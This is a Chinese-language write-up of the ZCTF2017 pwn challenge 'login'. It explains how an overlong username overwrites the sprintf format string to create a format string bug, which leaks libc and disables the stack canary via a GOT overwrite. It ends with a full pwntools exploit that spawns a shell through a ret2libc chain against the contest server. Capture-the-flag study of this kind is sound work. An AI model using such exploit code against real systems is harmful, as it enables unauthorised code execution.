ZCTF2017 pwn "login"

这道题很明显的看出succ函数里面存在栈溢出漏洞，但是发现开启了canary保护。比赛的时候一直没想到解决办法。

```
char buf[64]; // [sp+1Ch] [bp-4Ch]@1
int v6; // [sp+5Ch] [bp-Ch]@1

v6 = *MK_FP(__GS__, 20);  //canary
sprintf(buf, fms, username, password);    //栈溢出漏洞
```

赛后看别人的writeup发现是要利用格式化字符串漏洞，但是我一直认为格式化字符串是定死的，无法改变的。后来问了himyth学长才发现，格式化字符串是存在Main函数的栈帧中的，是可以被覆盖的。username最长256字节，计算后可以覆盖格式化字符串。

```
char fms[6]; // [sp+16h] [bp-12h]@1
int v5; // [sp+1Ch] [bp-Ch]@1

v5 = *MK_FP(__GS__, 20);
//...

strcpy(fms, "%s:%s"); //存放在main函数的栈空间，可以被覆盖
if ( check(username, password) != 0 )
  succ(fms, (int)username, (int)password);
```

程序执行到sprintf的时候，会先把username的内容copy到succ函数的buffer[64]中，但我们可以构造很长的username，一路覆盖到”%s:%s”中的第一个”%s”结束，后面覆盖成"%50$08x”, 诸如此类的字符串来任意读写内存。因为这时候sprintf的内部指针是指向第一个%s结束的位置的，指针往后面移动的时候sprintf看到的我们覆盖后的内容了，间接而又巧妙的达成了格式化字符串漏洞攻击。

通过gdb调试，发现栈内存有__libc_start_main(offset+247)函数的地址, 可以info leak。

通过把got表中stack_chk_fail这一项的值改成malloc@plt函数的起始地址，stack_chk_fail这一函数就不起作用了（覆盖成其他的也行，变成malloc@plt最方便）。我们在buffer[0:4]填入__stack_chk_fail的got地址，计算一下buffer[0]距离sprintf是第十个参数，用”%10$hhn”去覆盖fms， 表示sprintf函数会找到fms后面的第10个参数，把sprintf之前打印的字符数填入参数指向的内存空间，前缀hh表示覆盖最低一个字节。malloc@plt的地址和原先的地址只有最后一个字节不同，最后一个字节要变成0xb0， 所以还要凑好sprintf之前打印的字符数。

```
gdb-peda$ telescope 0x8049ffc 10
0000| 0x8049ffc --> 0x0
0004| 0x804a000 --> 0x8049f14 --> 0x1
0008| 0x804a004 --> 0xf77f5918 --> 0x0
0012| 0x804a008 --> 0xf77e5ed0 (push   eax)
0016| 0x804a00c --> 0xf76d71c0 (<read>: cmp    DWORD PTR gs:0xc,0x0)
0020| 0x804a010 --> 0xf76b1e90 (<alarm>:    mov    edx,ebx)
0024| 0x804a014 --> 0x80484a6 (<__stack_chk_fail@plt+6>:    push   0x10)
    //把got表中的这个地址覆盖成malloc@plt的地址
0028| 0x804a018 --> 0xf7673060 (<malloc>:   push   edi)
0032| 0x804a01c --> 0xf7662140 (<puts>: push   ebp)
0036| 0x804a020 --> 0x80484d6 (<exit@plt+6>:    push   0x28)
```

整个pwn的过程可以分成两部：

1. 通过format string漏洞来leak出libc的基地址，以及将got表中__stack_chk_fail项的value覆盖为malloc@plt，然后ret回main函数的起始位置。
2. 直接构造system("/bin/sh") 的ROP chain， 栈溢出覆盖返回地址。

最后给出exp

```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
""" dddong / AAA """

from pwn import *
import sys, os, re
context(arch='i386', os='linux', log_level='info')
context(terminal=['gnome-terminal', '-x', 'bash', '-c'])

def __get_base(p, _path):
    _vmmap = open('/proc/%d/maps' % p.proc.pid).read()
    _regex = '^.* r-xp .* {}$'.format(_path)
    _line = [_ for _ in _vmmap.split('\n') if re.match(_regex, _)][0]
    return int(_line.split('-')[0], 16)

_program = 'login'
_pwn_remote = 0
_debug = int(sys.argv[1]) if len(sys.argv) > 1 else 0

login = ELF('./' + _program)

if _pwn_remote == 0:
    libc = ELF('./libc.so.6')
    p = process('./' + _program)
    off = 247 #add 1 here!
```

```
    if _debug != 0:
        if login.pie:
            _bps = []
            _offset = __get_base(p, os.path.abspath(p.executable))
            _source = '\n'.join(['b*%d' % (_offset + _) for _ in _bps])
        else:
            _source = 'source peda-session-%s.txt' % _program
        gdb.attach(p.proc.pid, execute=_source)
else:
    libc = ELF('./libc6-i386_2.19-0ubuntu6.9_amd64.so')
    off = 243
    p = remote('58.213.63.30', 4002)

stack_chk_fail_got = login.got['__stack_chk_fail']

payload = ""
payload += p32(stack_chk_fail_got)
payload = payload.ljust(80, "A")
payload += p32(login.symbols['main'])
payload = payload.ljust(122 + 2, "A")

#overwrite format string from here
payload += "%50$08x" # cannot use %46$08x, it may be overwritten!
payload += "%54$c" # insert '\0' to avoid dirty stuff
payload += "%1$18c" #to make up the number 0xb0
payload += "%10$hhn" #__stack_chk_fail is relocated to malloc

p.recvuntil("username:")
p.sendline(payload)

p.recvuntil("password:")
p.sendline("password")

print p.recvuntil("%10$hhn")

libc_start_main_addr = int(p.recvn(8), 16) - off
print "__libc_start_main() addr:", hex(libc_start_main_addr)

libc.address = libc_start_main_addr - libc.symbols['__libc_start_main']

payload = ""
payload += "A" * 80
payload += p32(libc.symbols['system'])
payload += p32(0xdeadbeef)
payload += p32(libc.search('/bin/sh').next())
```

```
72
73
74 p.recvuntil("username:")
75 p.sendline(payload)
76
77 p.recvuntil("password:")
78 p.sendline("password")
79
80 p.interactive()
```